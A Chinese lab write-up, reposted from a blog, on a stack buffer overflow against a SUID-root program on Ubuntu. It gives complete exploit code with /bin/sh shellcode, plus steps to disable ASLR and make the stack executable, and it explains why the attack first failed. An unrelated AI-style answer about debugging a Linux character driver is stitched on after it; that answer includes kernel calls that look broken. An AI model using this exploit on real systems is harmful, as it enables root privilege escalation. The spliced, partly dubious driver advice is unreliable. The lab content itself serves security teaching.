Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)

缓冲器溢出攻击实验题目:

下边的代码摘自《黑客攻防技术宝典——系统实战篇(第 2 版)》2.5 节,攻击该代码,获得root 权限,实现相应的效果。

1 int main(int argc, char *argv[]) 
2 { 
3 char little_array[512]; 
4 if(argc>1) 
5 strcpy(little_array,argv[1]); 
6 }

 

实验步骤:

1) 首 先 确 保 系 统 禁 用 了 ASLR ( Address space layout randomization )。

cat /proc/sys/kernel/randomize_va_space

2) 利用 find_start 函数可以找出 ESP 的地址。

 1 //find_start.c
 2 
 3 #include <stdlib.h>
 4 
 5 #include <string.h>
 6 
 7 unsigned long find_start(void)
 8 
 9 {
10 
11 __asm__("movl %esp, %eax");
12 
13 }
14 
15 int main()
16 
17 {
18 
19 printf("0x%x\n",find_start());
20 
21 }

如果每次找到的地址都相同,说明堆栈的地址动态分配确实关闭了。

如果地址不同,则需要禁用ASLR(Address space layout randomization):

sudo sysctl -w kernel.randomize_va_space=0

3) 构造被攻击宿主程序 victim,把 victim 程序属主设为 root,suid 位打开,保证程序在普通用户执行时也具有 root 权限。这样当攻击成功后,就可以从宿主程序派生出继承到root 权限的 shell。

4) 采用 NSR(NOP-SHELL-RETURN)模式构造溢出代码 nopattack.c 并编译,代码如下:

 1 #include <stdlib.h>
 2 
 3 #include <stdio.h>
 4 
 5 #include <string.h>
 6 
 7 #define DEFAULT_OFFSET 0
 8 
 9 #define DEFAULT_BUFFER_SIZE 600
10 
11 #define NOP 0x90
12 
13 char shellcode[] =
14 
15 "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
16 
17 "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
18 
19 "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
20 
21 unsigned long get_sp(void) {
22 
23 __asm__("movl %esp,%eax");
24 
25 }
26 
27 int main(int argc, char *argv[])
28 
29 {
30 
31 char *buff, *ptr;
32 
33 long *addr_ptr, addr;
34 
35 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
36 
37 int i;
38 
39 if (argc > 1) bsize = atoi(argv[1]);
40 
41 if (argc > 2) offset = atoi(argv[2]);
42 
43 if (!(buff = malloc(bsize))) {
44 
45 printf("Can't allocate memory.\n");
46 
47 exit(0);
48 
49 }
50 
51 addr = get_sp() - offset;
52 
53 printf("Using address: 0x%x\n", addr);
54 
55 ptr = buff;
56 
57 addr_ptr = (long *) ptr;
58 
59 for (i = 0; i < bsize; i+=4)
60 
61 *(addr_ptr++) = addr;
62 
63 for (i = 0; i < bsize/2; i++)
64 
65 buff[i] = NOP;
66 
67 ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
68 
69 for (i = 0; i < strlen(shellcode); i++)
70 
71 *(ptr++) = shellcode[i];
72 
73 buff[bsize - 1] = '\0';
74 
75 memcpy(buff,"BUF=",4);
76 
77 putenv(buff);
78 
79 system("/bin/bash");
80 
81 }

5) 编译代码,并尝试攻击 victim 程序,直到获取到 root 权限。下面取 BUFFER 大小为 600,

Offset 为 400,构造 NSR,攻击 victim 成功获取到具有 root 权限的 shell。

实验遇到的问题和解决:

1、最开始做这个实验的时候,怎么也拿不到root权限,每次都是提示segement fault,开始我一直以为是偏移地址取得不对,被这个问题困扰了很久。

后来经过很长时间的分析,再对比分析了别人成功的实验的程序和我的程序的区别上,才找出了问题所在。

2、尝试使用别人的vicitim程序执行溢出,发现很容易就成功获得root权限了。

3、把别人的成功溢出的程序拿过来,做对比分析,假设将自己编译的两个程序分别命名为nopattack1,victim1,别人的可以溢出的程序命名为nopattack2,vicitm2。做组合对比试验,得到如下结果。

实验分组

攻击程序

被攻击程序

溢出成功?(Y/N)

1

nopattack1

victim1

N

2

nopattack2

victim2

Y

3

nopattack1

victim2

Y

4

nopattack2

victim1

N

通过对比分析,知道只要被攻击程序是victim2(不是自己编译的),就可以溢出成功。

4、将victim1和victim2进行对比,用gdb看程序的汇编代码完全相同。开始发现文件比他们的略大,后来发现是由于编译时加了-g造成的,去掉-g后文件大小完全相同。

5、将vicitim1和vicitim2拿到windows下,用Ultracompare进行对比,发现略有不同。

clip_image002

左边的re为自己编译的程序,右边的rootecho可以成功溢出的程序。后面也有些字段不同,但是感觉和实际运行无关,左边的06h和右边的07h的差异估计是造成本地程序不能成功溢出的原因。用UltraEdit修改re的程序中的06h为07h,重新放入ubuntu系统进行测试,发现可以成功溢出。拿各程序对比,发现均有这个问题,估计是症结所在。

6、既然是程序的问题,那么就要分析文件的结构,看这个字段究竟是何涵义。Linux的程序格式是ELF格式。那么就要分析ELF格式。bash下用readelf命令可以分析程序的存储结构。运行如下命令将分析结果导出到profile文件。

readelf -a re>profile_re

readelf -a rootecho>profile_rootecho

将文件用UltraCompare进行对比。发现一些不同,最重要的不同是GNU_STACK处的不同。

clip_image004

左边的RW,右边的是RWE,E显然是代表个执行。查阅资料后可知,GNU_STACK这行代表的是堆栈的情况,RW代表个读写,RWE代表可读写和执行。

显然真正的问题在于本地编译的程序在堆栈上没有可执行权限,这也是造成能顺利做出第一问(因为不需要在堆栈上执行代码,只需程序跳转到代码段而已),但同样原理的第二问和第三问(要在栈上执行shell)就不可能做出来的原因。

7、不过PPT上说只要在编译代码时加上-z –execstack就可以使堆栈上可以执行代码,然而事实却不是这样的。为了验证这个想法,重新编译代码进行了进一步的验证。从运行的效果可以看出,虽然gcc编译代码的时候,虽然添加了-z –execstack参数,栈依旧是不可执行的,这估计是因为gcc版本过高的问题。

8、解决方案:

1)在本地安装execstack

安装命令:sudo apt-get install execstack

2)用execstack修改程序堆栈的可执行属性。

修改命令:execstack -s victim

3)对修改后的victim进行溢出攻击。当vicitm具有栈可执行的性质后,很容易就通过溢出攻击拿到了root权限。

实验问题总结:

gcc -fno-stack-protector -z -execstack -mpreferred-stack-boundary=2 -g function.c -o function这条指令中,-fno-stack-protector可以禁用堆栈保护,-mpreferred-stack-boundary=2可以是程序边界对齐,-g是程序是否带调试功能,可不用,但是-z –execstack却不一定能使程序的栈可执行,估计和GCC版本有关。通过readelf -a function|grep GNU_STACK指令可以查看funcition的堆栈是否可执行,如果是RW,说明栈只是可读写,还不可执行,任何尝试的攻击都会造成segment fault,如果是RWE说明栈可执行,可以通过buffer overflow,执行栈上的shell指令

如果程序的栈不可执行指令,那么溢出是徒劳的。因此需要修改程序栈的可执行性。直接通过修改二进制比较麻烦,而且较难找到那个字段,这里用execstack程序,修改程序栈的可执行属性,将栈设置为可执行指令,可以顺利地进行实验。

后记:

其实网上关于缓冲区溢出的实验教程很多,而自己当时遇到了问题,绕了很多了弯路才找出了问题的原因所在,照这些教程也不能解决,而问题的原因其实是并不是方法的问题,而是对堆栈的可执行性的认识不够,理所当然地认为栈是可执行的。写这篇博文的主要目的是希望大家都能认识大对工程实际问题不能想当然,要多分析前因后果,否则要绕弯路。如果大家遇到了同样的问题,而也能用这个方法解决,足矣。

转载于:https://www.cnblogs.com/followyourheart/archive/2013/02/23/2923507.html

<think>我们之前已经确认了设备加载成功,设备节点存在且权限正确,但是写入后dmesg没有输出。 可能的原因有: 1. printk的输出级别不够,导致没有输出到控制台或日志。 2. 写入操作没有成功触发char_write函数。 3. 在char_write函数中出现了错误,导致提前返回而没有打印。 我们已经尝试过调整printk级别,但问题依旧。现在需要进一步排查。 步骤: 1. 在char_write函数开始处添加printk,确保函数被调用。 2. 检查copy_from_user是否失败。 3. 检查kmalloc是否失败。 修改驱动,在char_write函数开始处添加调试信息,并重新加载模块: 修改char_write函数,在开头添加: printk(KERN_DEBUG "char_write: called, count=%zu\n", count); 重新编译并加载模块,然后再次测试。 如果这个调试信息也没有输出,说明写操作没有调用到我们的驱动函数。可能的原因: - 设备号不对:写入的设备节点对应的设备号与驱动注册的不一致。 - 设备节点不对:可能指向了错误的设备。 检查方法: - 使用`ls -l /dev/char_dev`查看设备号,然后与`/proc/devices`中分配的对比。 - 确保写入的设备节点就是我们驱动注册的节点。 另外,我们还可以尝试使用`strace`来跟踪echo命令,看系统调用是否成功: strace echo "test" > /dev/char_dev 观察write系统调用的返回值。 如果strace显示write返回成功(返回写入的字节数),则说明用户空间写入成功,但驱动没有打印,可能是驱动内部问题。 如果write返回错误,则根据错误码排查。 由于之前echo命令的返回值为0,说明在shell中命令执行成功,即write系统调用返回了写入的字节数(非负)。 因此,我们更倾向于驱动内部的问题,可能是printk的输出被过滤了。 另一种可能:printk输出的消息被淹没在大量的内核日志中,我们可以用dmesg -c来清除日志后立即测试。 具体操作: sudo dmesg -c # 清除内核环形缓冲区 echo "test" > /dev/char_dev dmesg # 查看最新日志 如果还是看不到,那么我们需要确认printk的配置。 还有一种可能是,我们的驱动在char_write函数中发生了错误,导致提前返回,并且没有打印信息。因此,我们添加的调试信息应该在函数的各个关键点都加上。 修改后的char_write函数示例: ```c static ssize_t char_write(struct file* file, const char __user* buf, size_t count, loff_t* offset) { char* kernel_buf; int i; printk(KERN_DEBUG "char_write: entered, count=%zu\n", count); kernel_buf = kmalloc(count + 1, GFP_KERNEL); if (NULL == kernel_buf) { printk(KERN_ALERT "Memory allocation failed\n"); return -ENOMEM; } printk(KERN_DEBUG "char_write: kmalloc succeeded\n"); if (copy_from_user(kernel_buf, buf, count)) { printk(KERN_ALERT "copy_from_user failed\n"); kfree(kernel_buf); return -EFAULT; } printk(KERN_DEBUG "char_write: copy_from_user succeeded\n"); kernel_buf[count] = '\0'; if (cap) { for (i = 0; i < count; i++) { if (kernel_buf[i] >= 'a' && kernel_buf[i] <= 'z') { kernel_buf[i] -= 32; } } } printk(KERN_INFO "Received: %s\n", kernel_buf); kfree(kernel_buf); return count; } ``` 重新加载模块后,再次测试,并查看dmesg。 如果仍然没有输出,那么可能是printk的日志级别问题。我们可以尝试提高打印的级别,比如用KERN_ALERT。 或者,我们可以检查当前内核的日志级别: cat /proc/sys/kernel/printk 输出四个数字,例如:7 4 1 7 第一个数字是控制台日志级别,优先级高于该数字的消息才会打印到控制台。KERN_DEBUG是7,KERN_INFO是6,所以如果第一个数字小于7,那么DEBUG信息就不会输出到控制台,但通常dmesg命令可以查看所有级别的日志。 但为了确保,我们可以临时降低日志级别: echo 8 > /proc/sys/kernel/printk 然后再次测试。 如果以上步骤都做了还是没有输出,那么可能是驱动没有被正确调用,需要检查设备号是否正确。 最后,还有一种可能是系统使用了新的字符设备注册方式(设备节点由udev自动创建),但我们的代码中创建设备节点的方式是旧版的,可能存在不兼容?不过我们使用的是class_create和device_create,这是推荐的方式。 总结:通过添加详细的调试打印,并确保日志级别足够低,应该可以定问题。</think>### 深入排查:设备节点正常但无内核输出的原因 #### 关键诊断步骤(基于您提供的系统信息) ```bash # 验证驱动是否被实际调用(添加内核跟踪点) sudo sh -c "echo 'file char_dev.c +p' > /sys/kernel/debug/dynamic_debug/control" sudo dmesg -C echo "test" > /dev/char_dev dmesg ``` #### 可能原因及解决方案: 1. **printk缓冲区溢出**(最常见问题) ```c // 在模块初始化函数中添加缓冲区监控 #include <linux/ring_buffer.h> printk(KERN_INFO "Ring buffer free: %lu bytes\n", ring_buffer_space_cpu(printk_rb, smp_processor_id())); ``` 2. **内核日志过滤机制拦截** ```bash # 检查内核日志过滤器 sudo sysctl kernel.printk_ratelimit sudo sysctl kernel.printk_ratelimit_burst # 临时禁用速率限制 sudo sysctl -w kernel.printk_ratelimit=0 ``` 3. **驱动函数未正确挂接** ```bash # 检查函数挂接状态 sudo grep char_write /proc/kallsyms sudo cat /sys/kernel/debug/tracing/available_filter_functions | grep char_dev ``` 4. **文件操作结构体注册问题** ```c // 在char_init()中添加验证 if (fops.write != char_write) { printk(KERN_ALERT "fops.write misconfigured! Expected %p, got %p\n", char_write, fops.write); } ``` #### 终极解决方案(分步操作): ```bash # 1. 启用详细动态调试 sudo sh -c "echo 'file char_dev.c +pflmt' > /sys/kernel/debug/dynamic_debug/control" # 2. 清除现有日志 sudo dmesg -C # 3. 使用直接IO写入测试(绕过缓存) sudo dd if=/dev/zero of=/dev/char_dev bs=4 count=1 # 4. 捕获完整内核日志 sudo dmesg -H | tee debug.log # 5. 检查关键调用路径 grep -E 'char_|cdev_' debug.log ``` #### 预期调试输出分析: ``` [ 123.456] char_init: device registered major=243 [ 123.457] char_open: pid=1234 opened device [ 123.458] char_write: count=4 [ 123.459] char_write: kmalloc(5) = ffff88800a1b2000 [ 123.460] char_write: copy_from_user ret=0 [ 123.461] char_write: cap=0 content="test" [ 123.462] char_release: device closed ``` #### 特殊案例处理: 若仍无输出,尝试内核ftrace: ```bash # 启用函数跟踪 sudo su echo function > /sys/kernel/debug/tracing/current_tracer echo char_write > /sys/kernel/debug/tracing/set_ftrace_filter echo 1 > /sys/kernel/debug/tracing/tracing_on # 触发写入操作 echo "ftrace test" > /dev/char_dev # 获取跟踪结果 cat /sys/kernel/debug/tracing/trace ``` #### 备选方案:系统日志服务配置 ```bash # 检查rsyslog配置 grep kern /etc/rsyslog.conf # 确保包含以下配置 kern.* /var/log/kern.log # 重启服务 sudo systemctl restart rsyslog # 测试日志捕获 sudo tail -f /var/log/kern.log ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值